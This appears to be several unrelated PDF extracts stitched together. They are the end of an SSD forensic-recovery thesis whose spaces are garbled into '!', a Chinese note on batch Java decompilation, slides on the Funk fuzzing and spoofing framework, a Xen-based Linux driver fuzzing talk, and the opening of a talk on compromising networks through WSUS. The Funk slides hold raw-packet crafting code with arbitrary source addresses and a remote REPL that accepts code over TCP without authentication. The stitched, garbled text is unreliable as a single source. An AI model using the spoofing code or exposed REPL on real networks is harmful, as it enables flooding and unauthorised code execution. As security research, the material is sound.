Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation!machine!via! eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the!forensic!writea blocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!any!of!the!image!files!were!still! recoverable.! Results& After!the!quick!format,!files!were!unrecoverable!on!half!of!the!SSDs!(Crucial,!Intel,!Samsung)!and! recoverable!on!the!remaining!SSDs!and!control!hard!drive!(Seagate,!Patriot,!and!SuperTalent).!!While! the!OCZ!SSD!was!unable!to!complete!this!test,!based!on!the!results!of!previous!tests,!we!can!predict!that! this!SSD!would!have!behaved!similarly!to!the!Patriot!SSD.!!This!test!clearly!shows!the!impact!of!the!TRIM! command!and!also!the!impact!of!different!manufacturer’s!firmware!implementations.!! • Seagate!HD!–!all!recoverable! • Crucial!SSD!–!none!recoverable! • Intel!SSD!–!none!recoverable! • OCZ!SSD!–!Drive!failed,!unable!to!complete!test! • Patriot!SSD!–!all!recoverable! • Samsung!SSD!–!none!recoverable! • SuperTalent!SSD!–!all!files!but!#1!recoverable! ! & Kopchak! ! 63! Test&12,&Part&1&–&60&numbered&JPG&Files,&one&deleted&per&minute&over&an& hour,&USB&connection& Procedure& ! This!was!the!third!of!several!tests!designed!to!observe!the!behavior!of!solid!state!drives!as!files! are!deleted!over!a!period!of!time.!!This!test!was!identical!to!the!previous,!with!the!exception!that!TRIM! was!enabled!in!the!operating!system!and!the!drive!was!connected!via!USB!instead!of!eSATA.!!The!same! PowerShell!script!was!used!to!delete!one!image!at!a!time!sequentially!every!minute!over!the!course!of! an!hour.!!All!JPG!files!were!saved!to!each!drive!using!the!evidence!creation!machine!via!USB.!!!Once! these!files!were!copied!to!each!drive,!the!drive!was!unmounted!to!ensure!that!the!files!were!written!to! disk.!!Then,!the!disk!was!reamounted!and!the!script!was!executed,!allowing!each!image!file!to!be! deleted.!!Once!the!script!completed!execution,!the!drive!was!immediately!unmounted!and!connected!to! the!write!blocker!on!the!evidence!collection!machine!and!imaged.!!The!image!was!then!investigated!to! determine!which!deleted!image!files!were!recoverable.! Results& The!image!was!completely!recoverable!on!all!of!the!functioning!SSDs.!!!!The!results!of!these!tests!further! demonstrate!the!importance!of!the!TRIM!command!with!respect!to!automatic!garbageacollection.! • Seagate!HD!–!all!recoverable! • Crucial!SSD!–!all!recoverable! • Intel!SSD!–!all!recoverable! • OCZ!SSD!–!Drive!failed,!unable!to!complete!test! • Patriot!SSD!–!all!recoverable! • Samsung!SSD!–!all!recoverable! • SuperTalent!SSD!–!all!files!were!recoverable,!1!required!file!carving,!2a60!normally! Kopchak! ! 64! Test&12,&Part&2&–&60&numbered&JPG&Files,&one&deleted&per&minute&over&an& hour,&USB&connection,&quick&format& Procedure& Quick!format!of!all!drives!from!the!previous!test!was!performed!using!the!evidence!creation!machine!via! eSATA.!!Drives!were!immediately!safely!removed!from!the!system!and!imaged!using!the!forensic!writea blocker.!!File!carving!was!run!across!each!drive!image!to!determine!if!any!of!the!image!files!were!still! recoverable.! Results& After!the!quick!format,!files!were!unrecoverable!on!half!of!the!SSDs!(Crucial,!Intel,!Samsung)!and! recoverable!on!the!remaining!SSDs!(Patriot!and!SuperTalent).!!While!the!OCZ!SSD!was!unable!to! complete!this!test,!based!on!the!results!of!previous!tests,!we!can!predict!that!this!SSD!would!have! behaved!similarly!to!the!Patriot!SSD.!!This!test!clearly!shows!the!impact!of!the!TRIM!command!and!also! the!impact!of!different!manufacturer’s!firmware!implementations.!! • Seagate!HD!–!45/60!recoverable! • Crucial!SSD!–!none!recoverable! • Intel!SSD!–!none!recoverable! • OCZ!SSD!–!Drive!failed,!unable!to!complete!test! • Patriot!SSD!–!all!recoverable! • Samsung!SSD!–!none!recoverable! • SuperTalent!SSD!–!all!recoverable! ! & Kopchak! ! 65! Observations&and&Analysis& Overall,!there!were!a!number!of!differences!between!the!behavior!of!the!solid!state!drives!when! compared!to!the!control!standard!hard!drive.!!In!addition,!the!behavior!of!the!solid!state!drives!was!not! necessarily!consistent!between!drive!models!and!manufactures!across!each!individual!test.!!However,! there!were!several!consistent!patterns!observed!across!each!SSD!model.!!In!general,!SSDs!were! observed!to!behave!differently!than!standard!drives!in!many!tests,!but!the!scope!and!magnitude!of! these!differences!varied!across!drive!manufacturers!and!models.! ! Figure'7:'Overall'recoverability'of'files'across'all'tests,'per'drive' As!seen!in!the!graph,!the!success!of!recovering!data!varied!significantly!depending!on!the!drive! being!tested.!!Some!of!the!SSDs!performed!nearly!identically!to!the!control!hard!drive,!whereas!others! demonstrated!a!significant!decrease!in!the!likelihood!of!data!being!successfully!recovered.! 0! 5! 10! 15! 20! 25! Successful(File(Recoveries( Kopchak! ! 66! Standing!alone,!however,!this!graph!is!somewhat!misleading.!!The!types!of!tests!that!were! performed!can!be!classified!into!two!different!categories:!file!deletion!tests,!and!quick!format!tests,! which!were!always!performed!following!a!file!deletion!test.!!! ! Figure'8:'Overall'recoverability'of'files'across'deletion'tests,'per'drive' For!file!deletion!tests,!the!behavior!of!two!of!the!SSDs!was!identical!to!the!control!hard!drive!–!files! were!recoverable!in!all!tests.!!The!OCZ!SSD!behaved!similarly!to!these!SSDs!as!well!during!all!of!the!tests! where!it!was!functional.!!!Two!SSDs!had!unrecoverable!files!in!a!few!of!the!tests,!and!the!remaining!two! SSDs!only!allowed!for!data!to!be!recovered!in!around!50%!of!the!tests.!!! 0! 2! 4! 6! 8! 10! 12! Successful(File(Recoveries( Kopchak! ! 67! ! Figure'9:'Overall'recoverability'of'files'K'quick'format'tests,'per'drive' In!the!quick!format!tests,!differences!between!SSDs!and!the!control!drive!were!even!more!apparent.!! Two!of!the!SSDs!continued!to!behave!nearly!identically!to!the!control!hard!drive,!while!two!different! SSDs!only!allowed!for!recovery!in!one!or!two!of!the!tests.!! By!far,!the!single!most!significant!contributing!factor!to!the!results!of!any!given!test!was!the!state!of! the!TRIM!command!in!the!operating!system!at!the!time!of!the!file!deletion.!!Since!the!TRIM!command!is! intended!to!notify!the!drive!controller!of!a!delete!operation!so!that!the!drive!may!initiate!its!garbagea collection!procedures,!it!is!understandable!that!this!setting!resulted!in!such!a!significant!change!in! behavior,!as!illustrated!in!the!following!figures.! 0! 2! 4! 6! 8! 10! 12! Successful(File(Recoveries( Kopchak! ! 68! ! Figure'10:'Overall'recoverability'of'files'across'all'tests'where'TRIM'is'enabled'or'available'as'a'result' of'the'operating'system'or'interface,'per'drive' ' Figure'11:'Overall'recoverability'of'files'across'all'tests'where'TRIM'is'disabled'or'unavailable'as'a' result'of'the'operating'system'or'interface,'per'drive' 0! 2! 4! 6! 8! 10! 12! 14! Successful(File(Recoveries( 0! 2! 4! 6! 8! 10! 12! Successful(File(Recoveries( Kopchak! ! 69! Solid!state!drives!with!controllers!featuring!native!TRIM!support!often!purged!data!immediately!or! shortly!after!a!file!was!deleted!from!the!operating!system!where!TRIM!was!enabled.!!Disabling!TRIM!for! these!drives!resulted!in!file!deletion!behavior!much!more!in!line!with!the!operation!of!a!traditional!hard! drive.!!Solid!state!drives!lacking!TRIM!support!were!significantly!more!likely!to!allow!the!recovery!of!files! after!deletion!than!their!TRIM!supporting!counterparts.!!! Another!slightly!less!common!observation!was!the!presence!of!a!damaged!or!partially!deleted!file.!! This!behavior!appeared!to!be!accompanied!with!a!subset!of!the!files!on!the!drive!being!completely! deleted,!and!seemed!to!indicate!that!the!file!contents!either!spanned!across!multiple!flash!cells!or!the! garbageacollection!process!was!not!completely!run!across!all!flash!cells!containing!the!image!data.!!Due! to!the!nature!of!flash!storage!and!the!limitations!concerning!the!erasure!of!cells!(that!is,!cells!can!only! be!completely!erased),!these!observations!align!with!the!architecture!of!the!underlying!storage! hardware.!!! Solid!state!drives!also!behaved!differently!when!a!quick!format!command!was!issued!by!the! operating!system.!!When!forensically!analyzing!a!traditional!hard!drive!that!has!been!formatted!with!a! quick!format!procedure!(one!that!simply!reainitializes!the!partition!table!and!does!not!overwrite!the! data!on!the!disk!itself),!it!is!often!quite!straightforward!or!even!simplistic!to!recover!the!formatted!data! using!file!carving!techniques,!as!the!recoverable!data!is!not!truly!overwritten!on!the!disk!(the!same! cannot!be!said!of!data!that!has!been!completely!overwritten!at!least!once,!which!is!generally! unrecoverable).!!Some!of!the!solid!state!drives,!on!the!other!hand,!appeared!to!initiate!garbagea collection!processes!shortly!after!a!quick!format!was!issued,!rendering!data!unrecoverable!using!file! carving!techniques.!! ! & Kopchak! ! 70! Forensic&Implications& ! The!results!of!these!experiments!clearly!demonstrate!that!solid!state!drives!do!not!behave! identically!to!traditional!hard!drives!when!attempting!to!forensically!recover!deleted!files.!!Furthermore,! the!behavior!of!a!given!solid!state!drive!cannot!be!generalized,!as!these!characterizes!were!not! consistent!across!the!pool!of!test!drives.!!!This!fundamentally!shifts!the!digital!forensics!paradigm,!where! the!recovery!of!deleted!files!from!an!unasanitized!magnetic!hard!drive!is!more!or!less!assumed!to!always! be!possible.!!! ! Due!to!the!variances!in!drive!behavior,!forensics!investigators!must!be!acutely!aware!of!the! specific!drive!and!operating!system!combination!that!had!been!used!at!the!onset!of!an!investigation!of! an!evidence!bearing!SSD.!!Knowing!these!factors!in!advance!and!performing!tests!on!an!identical!drive! (with!identical!firmware!on!a!matching!operating!system)!would!provide!an!effective!method!for! gauging!the!relative!likelihood!of!successful!recoverability!for!deleted!data.! ! While!many!of!the!SSDs!in!the!test!pool!exhibited!lower!rates!of!successful!recoverability!than! the!control!drive,!no!SSD!in!the!test!pool!purged!data!in!every!experimental!run.!!This!indicates!that,!at! least!at!present,!there!is!still!value!in!performing!traditional!forensics!techniques!against!a!solid!state! drive.!!However,!as!drive!controllers!evolve!and!TRIM!support!becomes!more!universal,!the!likelihood!of! successful!recoverability!of!deleted!files!in!the!future!from!evidenceabearing!solid!state!drives!would!be! expected!to!decrease.!!The!forensics!community!must!adapt!to!this!technological!change!if!they!hope!to! continue!to!mine!this!data!as!viable,!reliable!evidence!in!the!investigation!and!prosecution!of!criminal! cases.!! & Kopchak! ! 71! Conclusions& The!results!of!these!experiments!consistently!demonstrate!that!solid!state!drives!generally!cannot! be!considered!to!be!equivalent!to!traditional!hard!drives!from!a!forensic!perspective.!!While!there!are!a! limited!number!of!cases!where!a!given!set!of!drives!performed!similarly!or!identical!to!the!control!drive,! there!were!significantly!more!scenarios!where!data!was!unable!to!be!recovered!from!the!solid!state! drives!using!traditional!forensics!techniques,!or!where!the!quantity!of!data!that!could!be!recovered!from! a!solid!state!drive!was!severely!diminished.!!Furthermore,!these!behaviors!were!not!necessarily! consistent!across!all!solid!state!drives!due!to!variations!in!the!drive!controller!firmware!and!operation.!! This!variation!and!inconsistency!poses!an!additional!challenge!for!forensic!investigators,!who!must!now! consider!significantly!more!challenges!and!complications!when!presented!with!evidenceabearing!solid! state!drives.!!! Due!to!the!variety!of!solid!state!drives!on!the!market!and!the!firmware!differences!across!drive! manufacturers,!controllers,!code!revisions,!and!even!individual!drive!models,!it!will!be!impossible!to! establish!a!single,!conclusive!standard!for!understanding!how!these!drives!will!behave!in!all!scenarios.!! That!being!said,!there!were!a!number!of!patterns!observed!throughout!the!experimental!trials!that!may! help!to!predict!the!behavior!of!a!similar!drive!in!a!future!test.!!!The!drives!used!in!these!tests!capture!a! period!of!evolution!in!the!solid!state!drive!industry,!where!the!technology!was!maturing!and!consumer! adoption!was!increasing!exponentially.!!The!pool!of!drives!tested!effectively!capture!the!evolution!of! this!hardware!and!its!behavior!in!many!different!scenarios.!!As!these!devices!gain!popularity!and! continue!to!see!more!widespread!adoption,!it!is!inevitable!that!the!results!of!identical!tests!on!newer! drives!may!yield!different!results.!!Given!the!increased!support!of!TRIM!across!modern!operating! systems!and!solid!state!drives,!the!author!of!this!paper!believes!that!the!widespread!adoption!of!these! drives!will!pose!a!significant!challenge!for!future!forensics!investigations.!!This!challenge!will!only! Kopchak! ! 72! increase!as!time!goes!on!and!further!advancements!are!made!in!solid!state!drives,!their!controllers,!and! their!firmware.! Future&Work& The!intent!of!this!research!was!to!effectively!demonstrate!differences!in!behavior!between! traditional!hard!drives!and!their!solid!state!counterparts,!as!well!as!also!highlighting!variations!between! different!SSDs!as!a!result!of!the!controller!and!firmware!of!the!drive!iteself.!!This!project!lays!the! groundwork!for!the!development!of!new!forensics!techniques!to!better!address!the!challenges! associated!with!forensically!recovering!data!from!these!drives.!!One!significant!but!unexplored! possibility!involves!bypassing!the!drive!controller!and!reading!the!contents!of!the!underlying!flash! memory.!!This!method!would!require!an!intimate!knowledge!of!the!controller!behavior!and!specialized! hardware.!!This!possibility!was!determined!to!be!outside!of!the!scope!of!this!research.! ! ! ! Kopchak! ! 73! Works&Cited&& Bell,!Graeme!B.,!and!Richard!Boddington.!Solid'State'Drives:'The'Beginning'of'the'End'for'Current' Practice'in'Digital'Forensic'Recovery?!Perth:!Association!of!Digital!Forensics,!Security!and!Law,! 2010.!5(3).!Journal'of'Digital'Forensics,'Security'and'Law.!Web.!1!Oct.!2011.! <http://researchrepository.murdoch.edu.au/3714/1/solid_state_drives.pdf>.! Bonetti,!Gabriele,!Marco!Viglione,!Alessandro!Frossi,!Federico!Maggi,!Stefano!Zanero,!and!Politecnico!Di! Milano.!"A!Comprehensive!Blackabox!Methodology!for!Testing!the!Forensic!Characteristics!of! Solidastate!Drives."!ACM'Digital'Library.!Association!for!Computing!Machinery,!9!Dec.!2013.! Web.!1!Apr.!2016.!! Chang,!LiaPin,!and!ChunaDa!Du.!Design'and'Implementation'of'an'Efficient'WearKLeveling'Algorithm'for' SolidKStateKDisk'Microcontrollers.!New!York:!ACM,!2007.!Print.! Freeman,!Michael,!and!Andrew!Woodward.!“Secure!State!Deletion:!Testing!the!efficacy!and!integrity!of! secure!deletion!tools!on!Solid!State!Drives.”!ADF.!Proceedings!of!the!7th!Australian!Digital! Forensics!Conference.!Perth:!n.p.,!2009.!32a40.!Citeseer.!Web.!1!Oct.!2011.! <http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.167.4914&rep=rep1&type=pdf>.! Frosty,!Alan.!"Firmware!Update!Now!Available!a!Addresses!Bad!Context!13x!Error."!Solid'State'Drives' Discussions.!Intel!Corporation,!17!Aug.!2011.!Web.!08!Mar.!2016.!! Grupp,!Laura!M.,!et!al.!Characterizing'Flash'Memory:'Anomalies,'Observations,'and'Applications.!New! York:!ACM,!2009.!Print.! Kopchak! ! 74! Gutmann,!Peter.!Secure!Deletion!of!Data!from!Magnetic!and!SolidaState!Memory.!Department!of! Computer!Science.!University!of!Auckland,!July!1996.!Web.!4!Dec.!2011.! <http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html>.! King,!Christopher,!and!Timothy!Vidas.!Empirical'Analysis'of'Solid'State'Disk'Data'Retention'When'Used' with'Contemporary'Operating'Systems.!N.p.:!Elsevier!Ltd,!2011.!Digital!Investigation!8.! ScienceDirect.!Web.!2!Oct.!2011.!<http://dfrws.org/2011/proceedings/17a349.pdf>.! Leventhal,!Adam.!“Flash!Storage!Today.”!ACM'Queue!51.7!(JulyaAug.!2008):!24a30.!Print.! Maghraoui,,!Kaoutar!El,!et!al.!Modeling'and'Simulating'Flash'based'SolidKState'Disks'for'Operating' Systems.!San!Jose:!ACM,!2009.!Print.! Moshayedi,!Mark,!and!Patrick!Wilkison.!“Enterprise!SSDs.”!ACM'Queue!JulyaAug.!2008:!32a39.!Print.! Shimpi,!Anand!Lal.!"The!Samsung!SSD!830!Review."!AnandTech.!24!Sept.!2011.!Web.!1!Apr.!2016.! Vättö,!Kristian.!"SandForce!TRIM!Issue!&!Corsair!Force!Series!GS!(240GB)!Review."!AnandTech.!22!Nov.! 2012.!Web.!08!Mar.!2016.!! Wei,!Michael,!et!al.!Reliably'Erasing'Data'from'FlashKBased'Solid'State'Drives.!San!Diego:!n.p.,!2011.! Print.! ! ! !
pdf
安服崽日常做代码审计的时候,经常需要把已经发布的 java 项目反编译 之前一直都是把所有 jar 和 class 打进一个 zip 包,扔到 jd-gui,然后在 save all resource,这 种办法很蠢。 直到 bearcat 师傅发给我一个消息,我才发现,原来批量反编译 java 代码是这么简单的一件 事,只需要一个命令就可以了。 Idea 自带的反编译项目地址:https://github.com/fesh0r/fernflower 对我们安服崽来说还是不太方便,稍微做了一些改动,增加了筛选 class 的功能,黑白名单 方式让脚本只反编译我们需要的 class,仅仅只是 indexof 来做筛选 只需要在 fernflower 的 jar 包同级目录下,扔一个{jar 包名}.black.txt 和{jar 包名}.white.txt 就 可以了, 例如 jar 包命名为 shadiao.jar,同级目录下就扔 shadiao.jar.black.txt 和 shadiao.jar.white.txt 如果只想反编译com/alibaba/xxx开头的class,就在{jar包名}.white.txt里写一行com/alibaba/ 如果不想反编译 org/jetbrains/xxx 开头的 class, 就在{jar 包名}.black.txt 里写一行 org/jetbrains/ 修改后的代码地址:https://github.com/jiashaoxiong1998/fernflower 改动 1:gradlew 项目改成 maven 项目,使用 shade 插件打 jar 包 改动 2:src/main/java/org/jetbrains/java/decompiler/struct/consts/ConstantPool.java 源码用 到了 jdk11 中 String.java 的 repeat 方法,做了一下改动 其他改动全局搜//modify 就可以了
pdf
“Grasshopper always wrong in argument with Chicken.” - Book of Chan Functional Fuzzing with Funk and further explorations into the use of functional languages for network scripting Benjamin Kurtz Q:WTF? A: Funk is a framework for the scripted generation of network traffic, written using the Chicken Scheme-to-C compiler. Funk is... • Simple • Tiny • Powerful • Extensible • Platform Independent and Protocol Agnostic • Easily described by random adjectives Most Important Idea Funk creates a generic interface to every network protocol! This lets you keep your fuzzing logic separate from your protocol logic! Ok, but can it do? • Fuzzing • Flooding • Spoofing • Traffic Generation Long Term Goals • Query-Response • Arbitrary Network Scripting • Rapid Prototyping • Virtual Servers • Firewall and IDS Previous Design • XML-based scripts in flat file DB • C/++ parser generator engine • Domain-Specific Language, limited by regular grammars • Imperfect, but still made some money Why That Sucked • Checksums • Internet Header Length • Type-Length Value Fields • ICMP, DHCP, ASN.1 Protocol logic and fuzzing logic were necessarily intertwined... Cue the music... Scheme FAQ • What the hell is Scheme anyway? • Seriously, what’s up with all the parentheses? • Why are LISP programmers so smug? • Why can’t you just use C like normal people? Leave In Stupid Parentheses Why Scheme? • Programming metaphor better suited to problem (lambda calc vs. Turing machine) • Easily extensible • Well established, widely used • Portable • No Bit Rot! Why Chicken? • Actively developed • Highly optimized (fast even in interpreter) • Extends with Eggs or SWIG • Compiles to straight C • Functional language makes dealing with network protocols easy Chicken vs. Python Chicken Chicken Python Python Interpreted? Interpreted? Yes Yes Compiles? Compiles? to C to Java Lambdas? Lambdas? Yes Yes Painfully Slow? Painfully Slow? No Yes Stupid? Stupid? Parentheses Whitespace Tastes Like? Tastes Like? Chicken Chicken Implementation Packet Scripting • Abstract Operations • Flexibility • Extensibility Protocols • Protocol Operations: • Generate • Serialize • Validate • Query Ethernet (define (install-ethernet-protocol) ;; Fields ( list of lists with values: name, bitlength, validator, serializer ) (define fields (list (list 'destmac 48 mac-validator mac-serializer) (list 'srcmac 48 mac-validator mac-serializer) (list 'pkt-type 16 (hex-validator 16) (hex-serializer 16)) )) (define (generate packet aggregator) (default-generator packet fields aggregator)) (define (validate packet) (default-validator packet fields)) ;; Public Interface (put-op 'generate '(ethernet) generate) (put-op 'validate '(ethernet) validate) "ethernet done") IPv4 (define (install-ip4-protocol) ;; Fields ( list of lists with values: name, bitlength, validator, serializer ) (define fields (list (list 'version 4 (hex-validator 4) (hex-serializer 4)) (list 'internet-header-length 4 (hex-validator 4) (hex-serializer 4)) (list 'type-of-service 8 (hex-validator 8) (hex-serializer 8)) (list 'total-length 16 (hex-validator 16) (hex-serializer 16)) (list 'identification 16 (hex-validator 16) (hex-serializer 16)) (list 'CE 1 (hex-validator 1) (hex-serializer 1)) (list 'DF 1 (hex-validator 1) (hex-serializer 1)) (list 'MF 1 (hex-validator 1) (hex-serializer 1)) (list 'fragment-offset 13 (hex-validator 13) (hex-serializer 13)) (list 'time-to-live 8 (hex-validator 8) (hex-serializer 8)) (list 'protocol 8 (hex-validator 8) (hex-serializer 8)) (list 'header-checksum 16 (hex-validator 16) (hex-serializer 16)) (list 'source-ip 32 ip-validator ip-serializer) (list 'dest-ip 32 ip-validator ip-serializer) (list 'options 0 (hex-validator 32) (hex-serializer 32)) )) Generate/Validate ;; Generate/Validate Operations on Packets and Protocols------------------------- (define (generate-layer packet) ( (get-op 'generate (car packet)) (cdr packet) u8vector-cat) ) (define (validate-layer packet) ( (get-op 'validate (car packet)) (cdr packet)) ) (define (validate packet) (cond ((null? packet) '()) (else (cons (validate-layer (car packet)) (validate (cdr packet)) )))) (define (generate packet) (cond ((null? packet) '()) (else (u8vector-cat (generate-layer (car packet)) (generate (cdr packet)) )))) Generating a Packet `Ethernet `Ethernet `IP `IP `TCP `TCP (define my-ip-packet (attach-tag '(ip4) (list "4" "5" "10" "0020" "0030" "0" "1" "0" "0755" "01" "04" "A123" "192.168.1.1" "192.168.1.2" "" ))) (define my-eth-packet (attach-tag '(ethernet) (list "12:34:56:78:90:12" "AA:BB:CC:DD:EE:FF" "0800"))) (define my-packet (list my-eth-packet my-ip-packet )) ; send packet out (require 'raw-sockets) (raw-open "en0") (define raw-packet (generate my-packet)) (raw-send raw-packet (u8vector-length raw-packet)) (raw-close) Chicken Eggs • bit-cat • crc16 • raw-sockets Future Work • Filter/Receive/Inject Support • Binary and File Format Fuzzing • Visual Script Design • Support for Additional Protocols Funk Source Code Current Funk Source is available at: http://www.memescape.com/funk/funk_current.tgz Recommended Reading • Structure and Interpretation of Computer Programs (“The Wizard Book”) - Abelson & Sussman http://mitpress.mit.edu/sicp/ • The Scheme Programming Language - R. Kent Dybvig Q & A Stump the chump! Extras The following slides have all the information you need to set up a Funk/Chicken Scheme development environment on any platform. Turn “Show Presenter Notes” on for more information. Funk Development • Chicken Scheme - http://www.callcc.org • Eclipse - http://www.eclipse.org • SchemeScript plugin for Eclipse • REPL • Funk Source Code Install SchemeScript • Install SchemeScript plugin • Help > Software Updates > Find & Install • Search for new features • New Update Site: SchemeWay http://schemeway.sourceforge.net/update-site/ REPL ; remote_chicken.scm (use tcp) (define (remote-repl #!optional (port 5156)) (let*-values (((x) (tcp-listen port)) ((i o) (tcp-accept x))) (current-input-port i) (current-output-port o) (current-error-port o) (repl))) (remote-repl) Compile with Chicken and put resulting binary in your project directory csc -o remote_chicken remote_chicken.scm Configuring Eclipse • Add remote_chicken to External Tools • Set SchemeScript to use Remote Interpreter • Run remote_chicken from Run > External Tools • Start Interpreter from Scheme > Start Interpreter SchemeScript Hotkeys • Ctrl - Enter - Executes the preceding S-expression • Ctrl - Shift - Enter - Executes the enclosing S-expression • Ctrl - Shift - L - Loads current file in interpreter
pdf
Fuzzing Linux with Xen DEF CON 29 Tamas K Lengyel 2 don’t microwave your pets Performance varies by use, configuration and other factors. Learn more at www.Intel.com/PerformanceIndex​. Performance results are based on testing as of dates shown in configurations and may not reflect all publicly available ​updates. See backup for configuration details. No product or component can be absolutely secure. No license (express or implied, by estoppel or otherwise) to any intellectual property rights is granted by this document. Intel does not control or audit third-party data. You should consult other sources to evaluate accuracy. Intel disclaims all express and implied warranties, including without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement, as well as any warranty arising from course of performance, course of dealing, or usage in trade. Your costs and results may vary. Intel technologies may require enabled hardware, software or service activation. © Intel Corporation. Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries. Other names and brands may be claimed as the property of others. ​ # whoami 4 tl;dr We fuzzed the device-facing input points of several Linux drivers We built new tools to get it done We open-sourced them We found a bunch of bugs & fixed them Showing you how it was done 5 feedback fuzzers Not “just” about feeding random input to your target Feedback fuzzers monitor the target execution Collect execution log (aka. coverage) Compare execution from run-to-run New code discovered? Focus on that input! 6 feedback fuzzers Need determinism If your target code behaves differently between executions not due to the fuzzer, the feedback will be just noise 7 xen vm forking Add determinism to kernel-code execution Reset vCPU registers and free copied pages for better speed Parent VM … Page X Page Y Page Z … Fork VM … Shared Page X Copied Page Y Shared Page Z … R W X 8 vm forking speed VM fork creation time: ~745 μs ~= 1300 VM/s VM fork reset time: ~111 μs ~= 9000 reset/s Measured on i5-8350U 9 xen vmi Xen VM introspection is natively supported • Read/write/translate guest memory Pause vCPU & get notification in dom0 of various hw events • CPUID • Int3 • MTF • EPT faults • register writes (mov-to-cr, MSRs) • etc. 10 xen vmtrace Upstreamed in Xen 4.15 • In collaboration with CERT.pl & Citrix Use Intel® Processor Trace to record VM execution • CPU itself stores info in memory about execution, low overhead • Stores only enough detail to allow for post-execution reconstruction Can record execution of the whole VM 11 fuzzing on xen Parent VM Magic CPUID Fork Sink VM panic() kasan_report() ubsan_prologue() … Fuzz VM Add 0xCC Read input from AFL Write it to VM’s mem Reset Catch a breakpoint Report crash Catch Magic CPUID Report no-crash Neither: timeout Analyze Decode IPT log Report coverage Fork Run Fuzz 12 13 14 15 16 17 there is more to fuzzing analysis fuzzing triaging 18 dma Memory made accessible to a device • Facilitates fast I/O operations • IOMMU can restrict device to access only DMA pages Finding where Linux reads from DMA isn’t trivial • __iomem, be{16/32/64}_to_cpu, le{16/32/64}_to_cpu, dma_addr_t • Cross-reference with ftrace output 19 let’s just read the spec https://www.intel.com/content/www/us/en/products/docs/io/universal-serial-bus/extensible-host-controler-interface-usb-xhci.html 20 21 22 triaging Can’t just “log in and gather logs” • No network • No disk • No console The dmesg buffer of Linux is in RAM • We can carve it out! 23 xen gdbsx It’s been shipping with Xen since 2009 Minimal gdb bridge Build Linux with: CONFIG_DEBUG_INFO=y CONFIG_GDB_SCRIPTS=y CONFIG_FRAME_POINTER=y CONFIG_UNWINDER_FRAME_POINTER=y CONFIG_RANDOMIZE_BASE=n 24 25 26 27 28 29 triaging beyond the basics Gathering the dmesg log has been sufficient to triage most bugs Not all of them Sink may get triggered by code far away from the driver 30 31 32 Bug triggers in net/core/dev.c, NOT in IGB itself: 33 34 35 36 37 38 39 40 41 Both src and dst in the memcpy is corrupted Anything else we can do? 42 43 44 45 Buggy code: Fixed code: 46 can you spot the bug? 47 what can go wrong here? 48 what we found & fixed • 9 NULL-pointer derefs • 3 array index out-of-bounds • 2 infinite loops in IRQ handler • 2 user-memory accesses 49 doublefetch detection Remove R/W EPT permission of DMA page • Byte-granularity • Look for PF with read access at the same page & offset 2x • Report crash to AFL We thought it would be rare • Happens all over the place • Happens because of different bits used of the same byte • Doesn’t make sense to stop execution at the first detection 50 mission accomplished!! Or is it? • Did we discover all DMA input points? • We got bogged down by documenting all the bugs • Staring at the code is only productive up to a point Let’s do better! 51 dmamonitor Standalone EPT fault monitoring Linux allocates DMA pages through its internal DMA API • dma_alloc_attrs() • Hook function entry & ret with int3 Remove EPT permission on-the-fly • Log all code-sites that read from any DMA! 52 53 54 55 56 57 58 still some problems Sometimes the data isn’t used where DMA is accessed • Where is it used and is it safe? ¯\_(ツ)_/¯ We don’t want to go back to reading the source • Very hard to follow data-flow by eye • Error-prone, manual, annoying 59 full-vm taint analysis Track tainted data propagation in the kernel • Record kernel execution using VMtrace • Replay recorded instruction stream in Triton DBI’s taint engine • Check where RIP gets tainted Can find code-locations affected by DMA input anywhere 60 61 62 63 64 65 Code released as open-source (MIT) https://github.com/intel/vmtaint 66 vm transplantation Getting some targets working in a Xen VM is difficult No problem! • VM forks need only CPU-state and memory • Take snapshot on QEMU/KVM/Simics • Load it up on Xen • Fuzz away! 67 what’s next Automation Capture system state using Intel® DCI • Fuzz BIOS/SMM • Fuzz bare-metal systems Sandsifter ring0 Nested virt-support 68 things we didn’t cover here Fuzzing other OS’s Fuzzing Xen Fuzzing userspace Fuzzing black-box binaries Fuzzing malware 69 thanks Questions? Comments? @tklengyel Thanks goes to a whole lot of people who contributed & made this work possible! Intel IAGS & CCG, Google ChromeOS team, Citrix, CERT.pl & the wider open-source security community releasing tools for everyone's benefit https://github.com/intel/kernel-fuzzer-for-xen-project https://github.com/intel/vmtaint
pdf
WSUSPENDU / 52 Yves Le Provost & Romain Coltel ANSSI WSUSpendu USE WSUS TO HANG ITS CLIENTS SATURDAY, 29TH JULY 2017 YVES LE PROVOST & ROMAIN COLTEL WSUSPENDU / 52 Yves Le Provost & Romain Coltel Who we are, what we do… - Yves Le Provost - Security auditor for more than 10 years - Currently works for French cyber defense Agency (ANSSI) - Specializes in SCADA and database assessments, but masters any other field ;-) - Romain Coltel - Former security auditor - Currently works for a disruptive startup - Developing next-gen Active Directory security product 2 WSUSPENDU / 52 Yves Le Provost & Romain Coltel The problem Sometimes, compromising a network is not that easy. 3 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 4 You WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 5 Internet-connected network Servers Workstations Domain controllers You WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 6 Internet-connected network Servers Workstations Domain controllers You WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 7 Internet-connected network Servers Workstations Domain controllers You WSUSPENDU / 52 Yves Le Provost & Romain Coltel Compromise scenario 8 Internet-connected network Disconnected network Physical boundary Servers Workstations Domain controllers You WSUSPENDU / 52 Yves Le Provost & Romain Coltel The solution? Sometimes, compromising a network might not be as far as we think. 9 WSUSPENDU / 52 Yves Le Provost & Romain Coltel Potential compromise scenario 10 Internet-connected network Disconnected network Physical boundary WSUS Server WSUS Server WSUSPENDU / 52 Yves Le Provost & Romain Coltel Potential compromise scenario 11 Internet-connected network Disconnected network Physical boundary WSUS Server WSUS Server ? ? ? WSUSPENDU / 52 Yves Le Provost & Romain Coltel Windows Server Update Services (WSUS) 12 Enterprise network HTTPS HTTP Microsoft Update www WSUS WSUSPENDU / 52 Yves Le Provost & Romain Coltel Windows Server Update Services (WSUS) 13 